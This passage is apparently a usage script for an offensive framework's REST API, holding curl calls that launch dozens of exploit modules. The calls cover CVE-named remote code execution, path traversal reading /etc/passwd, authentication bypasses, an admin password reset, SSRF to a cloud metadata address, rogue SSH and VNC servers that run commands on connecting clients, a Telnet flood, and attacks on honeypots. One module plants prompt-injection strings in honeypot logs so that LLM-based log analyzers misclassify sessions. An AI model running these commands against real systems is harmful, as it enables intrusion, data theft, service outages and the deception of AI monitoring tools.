"module": "exploits/ftp/pachev_ftp_path_traversal_1_0",
"target": "192.168.1.1",
"prompts": { "port": "21" }
}' | python3 -m json.tool
# ─── 190. IPMI Enum/Exploit (exploit module) ─────────────────────
# Mode 1=single, 2=CIDR, 3=file. Tests cipher zero, anonymous, default creds, RAKP hash.
# Prompts: mode, target/cidr/target_file, port, test_cipher_zero, test_anonymous,
# test_default_creds, test_rakp_hash, concurrency, output_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ipmi/ipmi_enum_exploit",
"target": "192.168.1.1",
"prompts": {
"mode": "1",
"port": "623",
"test_cipher_zero": "y",
"test_anonymous": "y",
"test_default_creds": "y",
"test_rakp_hash": "y",
"concurrency": "50",
"output_file": "ipmi_results.csv"
}
}' | python3 -m json.tool
# ─── 191. FreePBX Command Injection CVE-2025-64328 ───────────────
# Prompts: port (443), username, password, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/voip/cve_2025_64328_freepbx_cmdi",
"target": "192.168.1.1",
"prompts": {
"port": "443",
"username": "admin",
"password": "",
"command": "id"
}
}' | python3 -m json.tool
# ─── 192. Windows DWM CVE-2026-20805 ─────────────────────────────
# Generates exploit payloads (C, PowerShell, Python) for DWM privilege escalation.
# Prompts: output_dir, generate_c, generate_ps1, generate_py, remote_target
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/windows/windows_dwm_cve_2026_20805",
"target": "192.168.1.1",
"prompts": {
"output_dir": "cve_2026_20805_output",
"generate_c": "y",
"generate_ps1": "y",
"generate_py": "y",
"remote_target": ""
}
}' | python3 -m json.tool
# ─── 193. Telnet Auth Bypass CVE-2026-24061 ──────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/telnet/telnet_auth_bypass_cve_2026_24061",
"target": "192.168.1.1",
"prompts": { "port": "23" }
}' | python3 -m json.tool
# ─── 194. Sample Exploit ─────────────────────────────────────────
# Minimal sample exploit module. Target only.
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/sample_exploit",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# ADDITIONAL MODULES (RECENTLY ADDED — entries 195-247)
# Modules added after the original 1-194 list. Grouped by category.
# All entries here are real, registered modules in src/modules/.
# ═══════════════════════════════════════════════════════════════
# ─── 195. OSINT — Certificate Transparency ────────────────────────
# Pure OSINT: queries crt.sh for every certificate issued to the
# target domain and extracts subdomains from CN/SAN. No traffic
# to the target. Target should be a registrable domain.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "osint/cert_transparency",
"target": "example.com"
}' | python3 -m json.tool
# ─── 196. Reflect Scanner (DNS/NTP/SSDP/Memcached amp probe) ──────
# Replaces the old amplification_scanner. Probes UDP services for
# amplification potential.
# Prompts: protos (comma list: dns,ntp,ssdp,memcached or "all"),
# timeout_ms, verbose
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/reflect_scanner",
"target": "192.168.1.1",
"prompts": {
"protos": "all",
"timeout_ms": "3000",
"verbose": "n"
}
}' | python3 -m json.tool
# ─── 197. SGBox SIEM Recon ────────────────────────────────────────
# HTTPS reconnaissance for SGBox SIEM consoles: fingerprints version,
# enumerates installed modules, checks for login-protection bypass.
# Prompts: https_port, timeout, probe_modules (y/n),
# check_login_protection (y/n), save (y/n), output_file
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/sgbox_siem_recon",
"target": "192.168.1.10",
"prompts": {
"https_port": "443",
"timeout": "10",
"probe_modules": "y",
"check_login_protection": "y",
"save": "y",
"output_file": "sgbox_recon.txt"
}
}' | python3 -m json.tool
# ─── 198. Vuln Checker (run check() across all modules) ───────────
# Iterates every module exposing pub async fn check() and aggregates
# vulnerability results for the target. Read-only.
# Prompts: filter (substring of module path; blank = all),
# show_all (y/n — include not-vulnerable results)
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/vuln_checker",
"target": "192.168.1.1",
"prompts": {
"filter": "",
"show_all": "n"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# ADDITIONAL SSH EXPLOIT MODULES (199-202)
# Rogue-server / client-poisoning style modules — these *bind* a
# fake SSH server on the local box and exploit clients that connect
# (the "target" is the bind address). Use --target 0.0.0.0 to
# accept any client.
# ═══════════════════════════════════════════════════════════════
# ─── 199. AsyncSSH BeginAuthPass (client RCE on connect) ──────────
# Prompts: port, username (impersonated), command (executed on client)
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/asyncssh_beginauthpass",
"target": "0.0.0.0",
"prompts": {
"port": "2222",
"username": "root",
"command": "id > /tmp/pwned"
}
}' | python3 -m json.tool
# ─── 200. libssh2 Rogue Server ────────────────────────────────────
# Prompts: port, log_file
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/libssh2_rogue_server",
"target": "0.0.0.0",
"prompts": {
"port": "2222",
"log_file": "libssh2_rogue.log"
}
}' | python3 -m json.tool
# ─── 201. Paramiko AuthNonePass (client RCE on connect) ───────────
# Prompts: port, username, command
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/paramiko_authnonepass",
"target": "0.0.0.0",
"prompts": {
"port": "2222",
"username": "root",
"command": "id > /tmp/pwned"
}
}' | python3 -m json.tool
# ─── 202. Paramiko Unknown-Method (client RCE on connect) ─────────
# Prompts: port, username, command
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/paramiko_unknown_method",
"target": "0.0.0.0",
"prompts": {
"port": "2222",
"username": "admin",
"command": "id > /tmp/pwned"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# VNC EXPLOIT MODULES (203-218)
# Most are rogue-server style: bind a fake VNC server and crash
# clients that connect. "target" is the bind address (0.0.0.0).
# Prompt: bind = "host:port" (e.g. "0.0.0.0:5900").
# Several are direct-server attacks — see notes per module.
# ═══════════════════════════════════════════════════════════════
# ─── 203. libvnc CheckRect Overflow ───────────────────────────────
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/libvnc_checkrect_overflow",
"target": "0.0.0.0",
"prompts": { "bind": "0.0.0.0:5900" }
}' | python3 -m json.tool
# ─── 204. libvnc Tight FilterGradient ─────────────────────────────
# Prompts: bind, num_rows
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/libvnc_tight_filtergradient",
"target": "0.0.0.0",
"prompts": { "bind": "0.0.0.0:5900", "num_rows": "65535" }
}' | python3 -m json.tool
# ─── 205. libvnc UltraZip ─────────────────────────────────────────
# Prompts: bind, num_rects
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/libvnc_ultrazip",
"target": "0.0.0.0",
"prompts": { "bind": "0.0.0.0:5900", "num_rects": "1024" }
}' | python3 -m json.tool
# ─── 206. libvnc WebSocket Overflow ───────────────────────────────
# Prompts: bind, payload_len
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/libvnc_websocket_overflow",
"target": "0.0.0.0",
"prompts": { "bind": "0.0.0.0:5900", "payload_len": "131072" }
}' | python3 -m json.tool
# ─── 207. libvnc ZRLE Tile ────────────────────────────────────────
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/libvnc_zrle_tile",
"target": "0.0.0.0",
"prompts": { "bind": "0.0.0.0:5900" }
}' | python3 -m json.tool
# ─── 208. TigerVNC RRE Overflow ───────────────────────────────────
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/tigervnc_rre_overflow",
"target": "0.0.0.0",
"prompts": { "bind": "0.0.0.0:5900" }
}' | python3 -m json.tool
# ─── 209. TigerVNC Timing Oracle (password recovery) ──────────────
# Direct-server attack against a real VNC server.
# Prompts: samples (number of timing samples per byte)
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/tigervnc_timing_oracle",
"target": "192.168.1.50",
"prompts": { "samples": "100" }
}' | python3 -m json.tool
# ─── 210. TightVNC Decompression Bomb (server attack) ─────────────
# Sends compressed payload that explodes during decompression.
# Prompts: password, bomb_size
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/tightvnc_decompression_bomb",
"target": "192.168.1.50",
"prompts": { "password": "", "bomb_size": "104857600" }
}' | python3 -m json.tool
# ─── 211. TightVNC DES Hard-Coded Key ─────────────────────────────
# Decrypts vncpasswd files using TightVNC's hard-coded DES key.
# Prompt: encrypted hex string from .vnc/passwd
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/tightvnc_des_hardcoded_key",
"target": "127.0.0.1",
"prompts": { "encrypted": "1c3a9bdf2e..." }
}' | python3 -m json.tool
# ─── 212. TightVNC FT Path Traversal ──────────────────────────────
# Prompts: password, mode (list|read|write), remote_path,
# local_file (only for write mode)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/tightvnc_ft_path_traversal",
"target": "192.168.1.50",
"prompts": {
"password": "",
"mode": "read",
"remote_path": "../../../etc/passwd"
}
}' | python3 -m json.tool
# ─── 213. TightVNC Predictable Challenge ──────────────────────────
# Direct-server attack — exploits weak RNG in challenge generation.
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/tightvnc_predictable_challenge",
"target": "192.168.1.50"
}' | python3 -m json.tool
# ─── 214. TightVNC Rect Overflow ──────────────────────────────────
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/tightvnc_rect_overflow",
"target": "0.0.0.0",
"prompts": { "bind": "0.0.0.0:5900" }
}' | python3 -m json.tool
# ─── 215. x11vnc DNS Injection ────────────────────────────────────
# Prompts: attacker_ip, inject_cmd, dns_port
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/x11vnc_dns_injection",
"target": "192.168.1.50",
"prompts": {
"attacker_ip": "10.0.0.5",
"inject_cmd": "id",
"dns_port": "5353"
}
}' | python3 -m json.tool
# ─── 216. x11vnc Env Injection ────────────────────────────────────
# Prompts: hook_script, inject_ip
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/x11vnc_env_injection",
"target": "192.168.1.50",
"prompts": {
"hook_script": "/tmp/hook.sh",
"inject_ip": "10.0.0.5"
}
}' | python3 -m json.tool
# ─── 217. x11vnc UnixPW Inject ────────────────────────────────────
# Prompts: inject_user, password
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/vnc/x11vnc_unixpw_inject",
"target": "192.168.1.50",
"prompts": {
"inject_user": "root",
"password": "password123"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# COWRIE HONEYPOT EXPLOITS (218-220)
# Findings against the cowrie SSH honeypot. Default target:
# loopback on port 2222 with creds root:root or root:1234.
# ═══════════════════════════════════════════════════════════════
# ─── 218. Cowrie ANSI Log Injection ───────────────────────────────
# Embeds ANSI/OSC escapes in cowrie's command log. When an operator
# views the log via cat/tail on a real tty, the escapes execute
# (terminal title hijack, bell spam, cursor reposition).
# Prompts: port, username, password, payload (0=title, 1=bell, 2=cr)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cowrie/ansi_log_injection",
"target": "127.0.0.1",
"prompts": {
"port": "2222",
"username": "root",
"password": "root",
"payload": "0"
}
}' | python3 -m json.tool
# ─── 219. Cowrie LLM Prompt Injection ─────────────────────────────
# Injects prompt-injection strings into cowrie's session log so
# downstream LLM-based log analyzers misclassify the session.
# Prompts: mode (dry/live), port, username, password, injection (idx)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cowrie/llm_prompt_injection",
"target": "127.0.0.1",
"prompts": {
"mode": "live",
"port": "2222",
"username": "root",
"password": "root",
"injection": "0"
}
}' | python3 -m json.tool
# ─── 220. Cowrie SSRF IPv6 ────────────────────────────────────────
# Abuses cowrie's wget/curl emulation to issue outbound IPv6 SSRF.
# Prompts: mode (static/live), ssh_port, username, password
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cowrie/ssrf_ipv6",
"target": "127.0.0.1",
"prompts": {
"mode": "live",
"ssh_port": "2222",
"username": "root",
"password": "1234"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# DIONAEA HONEYPOT EXPLOITS (221-224)
# Crash / SQLi vectors against the dionaea honeypot's emulated
# protocols.
# ═══════════════════════════════════════════════════════════════
# ─── 221. Dionaea MQTT Underflow ──────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dionaea/mqtt_underflow",
"target": "127.0.0.1",
"prompts": { "port": "1883" }
}' | python3 -m json.tool
# ─── 222. Dionaea MSSQL DoS ───────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dionaea/mssql_dos",
"target": "127.0.0.1",
"prompts": { "port": "1433" }
}' | python3 -m json.tool
# ─── 223. Dionaea MySQL SQLi ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dionaea/mysql_sqli",
"target": "127.0.0.1",
"prompts": { "port": "3306" }
}' | python3 -m json.tool
# ─── 224. Dionaea TFTP Crash ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dionaea/tftp_crash",
"target": "127.0.0.1",
"prompts": { "port": "69" }
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# HONEYTRAP / SNARE / TANNER EXPLOITS (225-228)
# Crash and MITM vectors against the honeytrap and snare/tanner
# honeypot stack.
# ═══════════════════════════════════════════════════════════════
# ─── 225. honeytrap Docker Panic ──────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/honeytrap/docker_panic",
"target": "127.0.0.1",
"prompts": { "port": "2375" }
}' | python3 -m json.tool
# ─── 226. honeytrap FTP Panic ─────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/honeytrap/ftp_panic",
"target": "127.0.0.1",
"prompts": { "port": "21" }
}' | python3 -m json.tool
# ─── 227. snare Cookie DoS ────────────────────────────────────────
# Prompts: port, path
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/snare/cookie_dos",
"target": "127.0.0.1",
"prompts": { "port": "8080", "path": "/" }
}' | python3 -m json.tool
# ─── 228. snare/tanner Version MITM ───────────────────────────────
# Bind an HTTP listener that serves a forged tanner version string.
# Prompts: port (default 8090), version, one_shot (yes/no)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/snare/tanner_version_mitm",
"target": "0.0.0.0",
"prompts": {
"port": "8090",
"version": "0.6.0",
"one_shot": "no"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# SAFELINE WAF EXPLOITS (229-234)
# Probes / exploits against the SafeLine WAF management interface.
# Default management port is 9443.
# ═══════════════════════════════════════════════════════════════
# ─── 229. SafeLine Cookie Attributes ──────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/safeline/cookie_attributes",
"target": "192.168.1.10",
"prompts": { "port": "9443" }
}' | python3 -m json.tool
# ─── 230. SafeLine Nginx Injection ────────────────────────────────
# Prompts: port, cookie, mode (plain/lua), dry_run (yes/no)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/safeline/nginx_injection",
"target": "192.168.1.10",
"prompts": {
"port": "9443",
"cookie": "session=...",
"mode": "plain",
"dry_run": "yes"
}
}' | python3 -m json.tool
# ─── 231. SafeLine No-Auth Probe ──────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/safeline/no_auth_probe",
"target": "192.168.1.10",
"prompts": { "port": "9443" }
}' | python3 -m json.tool
# ─── 232. SafeLine Pre-Auth TFA ───────────────────────────────────
# Prompts: port, dry_run (yes/no)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/safeline/pre_auth_tfa",
"target": "192.168.1.10",
"prompts": { "port": "9443", "dry_run": "yes" }
}' | python3 -m json.tool
# ─── 233. SafeLine Session Secret Entropy ─────────────────────────
# Prompts: port, no_probe (yes/no)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/safeline/session_secret_entropy",
"target": "192.168.1.10",
"prompts": { "port": "9443", "no_probe": "no" }
}' | python3 -m json.tool
# ─── 234. SafeLine Unauth Writes ──────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/safeline/unauth_writes",
"target": "192.168.1.10",
"prompts": { "port": "9443" }
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# ADDITIONAL FRAMEWORK EXPLOITS (235-236)
# ═══════════════════════════════════════════════════════════════
# ─── 235. Apache Camel Header Injection CVE-2025-27636 ────────────
# Prompts: port, scheme (http/https), path, command, inject_header
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/apache_camel/cve_2025_27636_camel_header_injection",
"target": "192.168.1.20",
"prompts": {
"port": "8080",
"scheme": "http",
"path": "/",
"command": "id",
"inject_header": "CamelExec"
}
}' | python3 -m json.tool
# ─── 236. PHP RCE CVE-2025-51373 ──────────────────────────────────
# Prompts: port, scheme, cgi_path, command (PHP code)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/frameworks/php/cve_2025_51373_php_rce",
"target": "192.168.1.20",
"prompts": {
"port": "80",
"scheme": "http",
"cgi_path": "/cgi-bin/php-cgi",
"command": "echo shell_exec(\"id\");"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# ADDITIONAL NETWORK INFRA EXPLOITS (237-238)
# ═══════════════════════════════════════════════════════════════
# ─── 237. Commvault RCE CVE-2025-34028 ────────────────────────────
# Prompts: port, scheme, shell_name, command
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/commvault/cve_2025_34028_commvault_rce",
"target": "192.168.1.30",
"prompts": {
"port": "443",
"scheme": "https",
"shell_name": "cv_shell",
"command": "id"
}
}' | python3 -m json.tool
# ─── 238. Kubernetes Ingress-Nginx RCE CVE-2025-1974 ──────────────
# Prompts: port (admission webhook, default 8443), mode, ssrf_url
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce",
"target": "192.168.1.40",
"prompts": {
"port": "8443",
"mode": "rce",
"ssrf_url": "http://169.254.169.254/latest/meta-data/"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# ADDITIONAL WEB APPLICATION EXPLOITS (239-246)
# ═══════════════════════════════════════════════════════════════
# ─── 239. API Attack Suite ────────────────────────────────────────
# Comprehensive API attack suite — auto-discovers endpoints, probes
# BOLA/IDOR, missing rate limits, GraphQL DoS, etc. Many prompts.
# Prompts: auto_mode (y/n), request_input_mode, raw, request_file,
# timeout, concurrency, idor_probe (y/n), idor_range, rate_probe,
# rate_burst, graphql_dos (y/n), extra_endpoints
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/api_attack_suite",
"target": "https://api.example.com",
"prompts": {
"auto_mode": "y",
"request_input_mode": "auto",
"timeout": "10",
"concurrency": "8",
"idor_probe": "y",
"idor_range": "25",
"rate_probe": "n",
"graphql_dos": "n",
"extra_endpoints": ""
}
}' | python3 -m json.tool
# ─── 240. Langflow build_public_tmp RCE CVE-2026-33017 ────────────
# Prompts: port, scheme, command (required)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/langflow/cve_2026_33017_build_public_tmp_rce",
"target": "192.168.1.50",
"prompts": {
"port": "7860",
"scheme": "http",
"command": "id"
}
}' | python3 -m json.tool
# ─── 241. MISP RCE CVE-2025-27364 ─────────────────────────────────
# Prompts: port, scheme, email, password, shell_name, command
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/misp_rce_cve_2025_27364",
"target": "192.168.1.60",
"prompts": {
"port": "443",
"scheme": "https",
"email": "user@example.com",
"password": "password123",
"shell_name": "sample.php",
"command": "id"
}
}' | python3 -m json.tool
# ─── 242. n8n Form-Trigger AFR CVE-2026-21858 ─────────────────────
# Prompts: port, scheme, form_path (required), file_to_read
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/n8n/n8n_form_afr_cve_2026_21858",
"target": "192.168.1.70",
"prompts": {
"port": "5678",
"scheme": "http",
"form_path": "/form/abc123",
"file_to_read": "/etc/passwd"
}
}' | python3 -m json.tool
# ─── 243. Next.js Middleware Bypass CVE-2025-29927 ────────────────
# Prompts: port, scheme, protected_path, verbose (y/n)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/nextjs_middleware_bypass_cve_2025_29927",
"target": "192.168.1.80",
"prompts": {
"port": "3000",
"scheme": "http",
"protected_path": "/admin",
"verbose": "n"
}
}' | python3 -m json.tool
# ─── 244. SmarterMail Admin Password Reset CVE-2026-23760 ─────────
# Prompts: port, username, new_password (required)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/smartermail/admin_password_reset_cve_2026_23760",
"target": "192.168.1.90",
"prompts": {
"port": "443",
"username": "admin",
"new_password": "P0wned!2026"
}
}' | python3 -m json.tool
# ─── 245. Vite Path Traversal CVE-2025-30208 ──────────────────────
# Prompts: port (default 5173), custom_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/vite_path_traversal_cve_2025_30208",
"target": "192.168.1.100",
"prompts": {
"port": "5173",
"custom_file": "/etc/passwd"
}
}' | python3 -m json.tool
# ─── 246. Zimbra SQLi Auth Bypass CVE-2025-25064 ──────────────────
# Prompts: port, scheme, email (required)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/webapps/zimbra_sqli_auth_bypass_cve_2025_25064",
"target": "192.168.1.110",
"prompts": {
"port": "443",
"scheme": "https",
"email": "admin@example.com"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# ADDITIONAL DOS MODULE (247)
# ═══════════════════════════════════════════════════════════════
# ─── 247. Telnet IAC Flood ────────────────────────────────────────
# WARNING: denial-of-service. Floods Telnet servers with malformed
# IAC option negotiations.
# Prompts: port, mode, connections, duration (seconds), verbose,
# confirm (y/n — required interactive confirmation)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/dos/telnet_iac_flood",
"target": "192.168.1.200",
"prompts": {
"port": "23",
"mode": "iac-storm",
"connections": "100",
"duration": "120",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# PLUGIN MODULES
# ═══════════════════════════════════════════════════════════════
# ─── Sample Plugin ────────────────────────────────────────────────
# Prompts: action (scan/exploit/report)
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "plugins/sample_plugin",
"target": "192.168.1.1",
"prompts": { "action": "scan" }
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# UTILITY COMMANDS
# ═══════════════════════════════════════════════════════════════
# Clear target
curl -s -X DELETE http://127.0.0.1:8080/api/target \
-H 'Authorization: Bearer testkey123' | python3 -m json.tool
# Honeypot check
curl -s -X POST http://127.0.0.1:8080/api/honeypot-check \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{"target": "192.168.1.1"}' | python3 -m json.tool
# Shell command (single)
curl -s -X POST http://127.0.0.1:8080/api/shell \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{"command": "modules"}' | python3 -m json.tool
# Shell commands (chained)
curl -s -X POST http://127.0.0.1:8080/api/shell \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{"commands": ["t 192.168.1.1", "use scanners/port_scanner", "run"]}' \
| python3 -m json.tool
Reference in New Issue View Git Blame Copy Permalink